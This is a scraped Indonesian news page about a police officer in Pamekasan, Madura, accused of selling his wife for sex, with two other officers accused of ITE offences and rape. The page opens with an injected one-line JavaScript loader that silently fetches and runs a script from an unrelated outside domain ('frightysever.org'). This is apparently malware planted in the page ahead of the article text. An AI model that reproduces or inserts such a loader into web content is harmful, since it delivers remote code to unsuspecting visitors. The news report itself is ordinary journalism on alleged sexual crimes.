(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Polisi Diduga Jual Istri, Kasus Ditangani Polda Jatim


KANALKALIMANTAN.COM – Seorang oknum anggota kepolisian di Pamekasan, Madura, diduga telah menjual istri sendiri untuk melayani lelaki hidung belang. Kasus ini pun telah ditangani Polda Jatim.

Kabid Humas Polda Jawa Timur, Kombes Pol Dirmanto mengatakan, oknum polisi itu berinisial AD dari Unit Sabhara Polres Pamekasan.

Saat ini oknum polisi itu sudah diamankan Tim Bidpropam Polda Jatim setelah diduga menjual istri sendiri inisial MH. Dia juga diduga melakukan pelanggaran ITE hingga mengkonsumsi narkotika.

“Iya, yang bersangkutan diamankan di Polda Jatim dalam rangka pemeriksaan di Propam,” ujar Dirmanto dikutip dari beritajatim.com -jejaring Suara.com-.Sabtu (7/1/2023).

 

Baca juga  : Dinas PUPR Kalsel Gelar Penandatanganan Maklumat Pelayanan, Pakta Integritas dan Perjanjian Kinerja 2023

Berdasarkan informasi yang didapat, selain AD yang berpangkat Aipda, ada dua anggota lain yang turut diamankan. Tetapi saat informasi ini dikonfirmasikan, Dirmanto enggan memberikan penjelasan.

“Belum ada update. Kalau sudah kami sampaikan. Sementara cukup itu dulu,” jelasnya.

Terkuaknya kasus ini berawal dari laporan MH yang mengadukan suaminya sendiri, Aipda AD, lantaran telah tega menjualnya ke lelaki lain.

Dalam laporan itu, dia juga mengadukan dua anggota Polres Pamekasan, Iptu MHD dan AKP H yang dinas di Polres Bangkalan.

Baca juga  : Sisakan Puing Bongkaran Warung Jablai, Disperkim Minta Pemilik LIK Menjaga Lahannya

MH mengadukan ketiga polisi itu dengan tuduhan bersengkongkol, bersama-sama melakukan kriminal, namun dalam tindak pidana yang berbeda-beda.

Aipda AD disebut dilaporkan dalam tindak pidana kekerasan seksual, pelanggaran ITE sekaligus narkotika.

Sementara AKP H, dilaporkan dalam tindak pidana ITE dan kekerasan seksual. Kemudian Iptu MHD dalam perkara pemerkosaan.

Seorang sumber menyebut, Aipda AD, suami MH itu dilaporkan atas dugaan menjual sang istri, juga mengajak orang lain untuk menggauli istrinya.

“Kalau yang H dilaporkan dalam perkara ITE. Dia mengirimkan gambar alat vitalnya kepada AD agar ditunjukkan ke istrinya (MH) dengan maksud bahwa H ingin menyetubuhi MH,” katanya.

“Kalau MHD dilaporkan dalam perkara pemerkosaan, karena ikut menggauli paksa MH yang bukan istrinya sendiri,” tambah sumber tersebut. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

10 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

13 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

16 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

17 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

17 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

18 jam ago

This website uses cookies.